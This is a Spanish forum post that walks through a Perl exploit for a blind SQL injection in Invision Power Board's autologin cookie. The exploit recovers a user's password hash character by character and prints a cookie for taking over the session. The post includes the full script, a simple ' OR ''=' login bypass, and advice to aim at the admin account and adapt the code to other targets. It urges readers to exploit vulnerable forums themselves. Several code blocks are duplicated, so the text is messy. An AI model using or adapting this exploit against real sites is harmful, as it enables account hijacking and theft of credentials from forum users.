El exploit de muestra que colocaré, sera de Invision PowerBoard, una pequeña vuln. que permitia a meter una inyección, y hacer destrosos xD
en si, no es necesaria la utilización del exploit, ya que con un.
Código:
' OR ''='
podias acceder, pero bueno
, sigamos la corriente.He colocado este Exploit en Perl, la version Original, pero tambien lo esta en C, y PHP, para los que no tienen Perl.
Este exploit, lo que hace es conseguir el Hash de algun usuario, para despues autoiniciar sesion, utilizando lo siguiente:
- Vulnerabilidad de Inyección SQL en las Cookies
- Perl, para conectar con el servidor
- Un loop que prueba cada char del hash md5 del pass, hasta encontrarlo
- El servicio de inicio de sesión automático de Invision Power Board
Lo que hay que hacer para ejecutar el exploit es muy simple.
Código:
invpb-cookie.pl [<Página de Víctima>] [ID del Usuario] [Versión]
He encontrado algunos foros, disponibles vulenrables, y aun cuando encontre uno, con 0 posts, el Admin se rehuso a dejarme usarlo como prueba.
Asi que deberan bajar el programa, y explotarlo ustedes mismos.
Ahora analizemos el código:
Código:
#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
##################################################################
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
##################################################################
Esta sección, la cabezera, la encontraras en casi todos los exploits en Perl, explican como usarle, quien lo hizo, la versión afectada, etc..
Código:
use LWP::UserAgent;
Esto es para llamar al componente que te permite el acceso a la pagina afectada.
Código:
$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);
$ua->agent("Mosiac 1.0" . $ua->agent);
Bueno, esto es un inicializador del codigo, y nombra al User Agent Mosiac 1.0, el User Agent es el navegador.
Código:
if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?
if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?
Esta sección de código, primero verifica que hayas colocado los campos necesarios, y despues asigna algunas variables:
- $path = La ruta del foro, tu solo debes poner el directorio, el programa coloca la ruta restante
- $user = UID de la victima, es el Identificador de Usuario, y normalmente (99%) el 1 es el del admin
- $iver = versión de el foro, este exploit era para versión 1.x y 2.x
- $cepre = prefijo de la cookie, algunas veces podras encontrar sistemas donde la cookie tiene un prefijo para diferenciar entre paginas del mismo dominio, o entre diferentes foros
- $dbug = es por si quieres ver paso a paso lo que hace el exploit.
Código:
if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/
2]. ";
exit;
}
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/
2]. ";
exit;
}
Si no escribiste nada, te explica como funciona
Código:
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
my $outputs = '';
Indico el rango en el cual MD5 trabaja, y el valor inicial de el hash.
Código:
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527
$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash="
. $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}
}
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527
$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash="
. $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}
}
jaja, se me paso la mano un poco, explicare rapido que hace todo este fragmento de codigo, despues lo analizo mas lentamente.
Este es el importante, este busca letra por letra, en busca de errores.
Si hay error esque la sentencia es falsa, y no devolvio ningun valor verdadero, si no hay error, es porque la sentencia es verdadera.
ahora analizo parte por parte:
Código:
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
estos 2 bucles son los encargados de la busqueda, el primero es el que establece la letra actual, el segundo, es el que va letra por letra del charset.{
for( $j=0; $j < 16; $j++ )
{
Código:
my $current = $charset[$j];
este le asigna a $current el valor de la letra que esta en la posición $jCódigo:
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527
$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
Esta.. es la sección que aprovecha la vulnerabilidad, a los programadores del foro, se les olvido limpiar la variable de la cookie, y nosotros, aprovechando eso, insertamos una Inyección SQL.$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
explicare la Inyeccion que aqui esta codificada con UrlEncode, con el tiempo te acostumbras y entiendes que es cada cosa, pero bno, aca esta traducida:
Citar
Si no es versión 2, entonces la inyeccion es:
99'+OR+(id=$user+AND+MID(password,$i,1)='$current')/*
Esto se supone que se inserta en donde se pregunta por el hashmd5 del password.
entonces una sección (no es la verdadera) de la sentencia SQL en PHP es:
donde $i es la posicion, y $current es la letra que esta en la posicion $j99'+OR+(id=$user+AND+MID(password,$i,1)='$current')/*
Esto se supone que se inserta en donde se pregunta por el hashmd5 del password.
entonces una sección (no es la verdadera) de la sentencia SQL en PHP es:
Código:
$sentencia = "SELECT * FROM users WHERE id='".$_COOKIE['member_id']."' AND password='".$_COOKIE['pass_hash']."'";
y la sentencia recibida por SQL es:Código:
$sentencia = "SELECT * FROM users WHERE id='31337420' AND password='99' OR (id=1 AND MID(password,$i,1)='$current')/*'";
si no es:Código:
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
lo unico que cambia es el nombre de una variable..la funcion MID lo que hace, es que obtiene una sección del string, es un substr, para los que ya saben programar.
por ejemplo en la cadena:
Hola México
le decimos:
MID("Hola México",0,1) nos regresa "H", por que nos da lo que hay desde 0 hasta una posicion despues, ahora en:
MID("Hola México",2,5) nos regresa "la Mé" desde la posicion 2 hasta 5 caracteres.
Bueno siguiendo con el código..
Código:
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash="
. $sql);
my $res = $ua->get($path, @cookie);
Esta parte del programa, da a la variable @cookie el valor de las cabezeras que se enviaran a el servidor, con la cookie... $sql);
my $res = $ua->get($path, @cookie);
en el member_id esta el id del usuario, y en pass_hash la sentencia con la inyección.
despues efectua la petición con:
my $res = $ua->get($path, @cookie);
recordemos que $ua es el que establece la conexion, genera un paquete con metodo GET, a la direccion $path que definimos al principio, y con la cabecera @cookie.
lo que sigue..
Código:
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}
}
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}
}
es si se genera una petición válida, guardar en $outputs la variable de respuesta, si no es valida la petición.. entonces vas al que sigue.
Código:
if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
# www.h4cky0u.org
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
# www.h4cky0u.org
esta es la parte final del codigo.
primero comprueba que se haya generado algun hash, si no el bug ya fue corregido o parcheado.. despues te dice lo que debes poner en la cookie de tu navegador.. y pone la firma.
Este es un exploit típico de Blind SQL Inyection, para los que dicen que no sirve para nada.. pueden modificarlo a su gusto y colocar la sección explotable de tu objetivo.. normalemtne u campo POST o GET.
Espero les haya servido, el exploit lo tome de http://www.securityfocus.com/bid y SI funciona.
Saludos!!










Autor




En línea



